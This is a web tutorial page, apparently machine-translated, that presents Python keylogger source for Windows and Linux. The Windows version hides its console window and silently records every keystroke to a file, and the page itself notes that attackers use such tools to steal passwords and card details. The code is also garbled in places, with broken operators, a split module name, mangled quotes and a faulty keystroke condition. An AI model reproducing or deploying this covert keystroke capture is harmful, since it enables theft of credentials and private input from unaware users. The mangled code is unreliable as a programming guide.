Change language

Keylogger design in Python

|

These are computer programs designed to run on the target computer’s software. Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Families and business people use keyloggers legally to monitor network usage without the direct knowledge of their users. However, attackers can use keyloggers on public computers to steal passwords or credit card information.

This article illustrates the design of a keylogger for Windows and Linux.

Keylogger for Windows

Download some Python libraries
1) pywin32
2) pyhook & # 39;

Below is the code to create a keylogger in Python

# Python code for a keylogger
# for windows use

import win32api

import win32console

import win32gui

import pythoncom, pyHook

 

win = win32console.GetConsoleWindow ()

win32gui.ShowWindow (win, 0 )

  

def OnKeyboardEvent (event):

if event.Ascii = = 5 :

_ exit ( 1 )

  if event.Ascii! = 0 or 8 :

  # open output.txt to read current keystrokes

f = open ( ’c: output.txt’ , ’ r + ’ )

  buffer = f.read ()

f. close ()

# open output.txt to record current + new keystrokes

  f = open ( ’c: output.txt’ , ’w’ )

  keylogs = chr (event.Ascii)

if event.Ascii = = 13 :

keylogs = ’/ n’

  buffer + = keylogs

f.write ( buffer )

f.close ()

# create hook manager object

hm = pyHook.HookManager ()

hm.KeyDown = OnKeyboardEvent

# install the hook
hm.HookKeyboard ()
# wait forever
pythoncom.PumpMessages ()

Save the file to C: / as Keylogger.py and run the python file
Exit:
The keylogger will run in the background and save all data to log file “c: /output.txt.

Linux Keylogger

pyxhook requires python-xlib. Install it if you don’t already have it.

 sudo apt-get install python-xlib 

Download the library pyxhook

# Python code for a keylogger
# for Linux use

import os

import pyxhook

 
# This tells the keylogger where the log file will go.
# You can set the path to the file as an environment variable (& # 39; pylogger_file & # 39;),
# or use the default ~ / Desktop / file.log

log_file = os.environ.get (

  ’pylogger_file’ ,

  os.path.expanduser ( ’ ~ / Desktop / file.log’ )

)
# Allow setting of the cancel key from environment arguments, by default: ’

cancel_key = ord (

os.environ.get (

’pylogger_cancel’ ,

’’ ’

  ) [ 0 ]

)

 
# Allow clearing of the log file at startup if pylogger_clean is defined.

if os.environ.get ( ’pylogger_clean’ , None ) is not None :

try :

  os.remove (log_file)

except EnvironmentError:

# The file does not exist permissions or not.

pass

 
# create a keypress event and save it to a log file

def OnKeyPress (event):

with open (log_file, ’a’ ) as f:

f.write ( ’{}’ . format (event.Key))

 
# create object hook manager

new_hook = pyxho ok.HookManager ()

new_hook.KeyDown = OnKeyPress

# set the hook
new_hook.HookKeyboard ()

try :

new_hook.start ()  # start hook

except KeyboardInterrupt:

# User canceled from the command line.

pass

except Exception as ex:

# Write exceptions to a log file for later analysis.

  msg = ’ Error while catching events: {} ’ . format (ex)

pyxhook.print_err (msg)

with open (log_file, ’ a’ ) as f:

f.write ( ’ {} ’ . format (msg))

Exit:
The keylogger will run in the background and save all data in the file.log file "/ home / akash / Desktop".

   

Links
https://en.wikipedia.org/wiki/Keystroke_logging

This article is provided by Akash Sharan . If you are as Python.Engineering and would like to contribute, you can also write an article using contribute.python.engineering or by posting an article contribute @ python.engineering. See my article appearing on the Python.Engineering homepage and help other geeks.

Please post comments if you find anything wrong or if you’d like to share more information on the topic discussed above.

Shop

Learn programming in R: courses

$

Best Python online courses for 2022

$

Best laptop for Fortnite

$

Best laptop for Excel

$

Best laptop for Solidworks

$

Best laptop for Roblox

$

Best computer for crypto mining

$

Best laptop for Sims 4

$

Latest questions

NUMPYNUMPY

psycopg2: insert multiple rows with one query

12 answers

NUMPYNUMPY

How to convert Nonetype to int or string?

12 answers

NUMPYNUMPY

How to specify multiple return types using type-hints

12 answers

NUMPYNUMPY

Javascript Error: IPython is not defined in JupyterLab

12 answers

News


Wiki

Python OpenCV | cv2.putText () method

numpy.arctan2 () in Python

Python | os.path.realpath () method

Python OpenCV | cv2.circle () method

Python OpenCV cv2.cvtColor () method

Python - Move item to the end of the list

time.perf_counter () function in Python

Check if one list is a subset of another in Python

Python os.path.join () method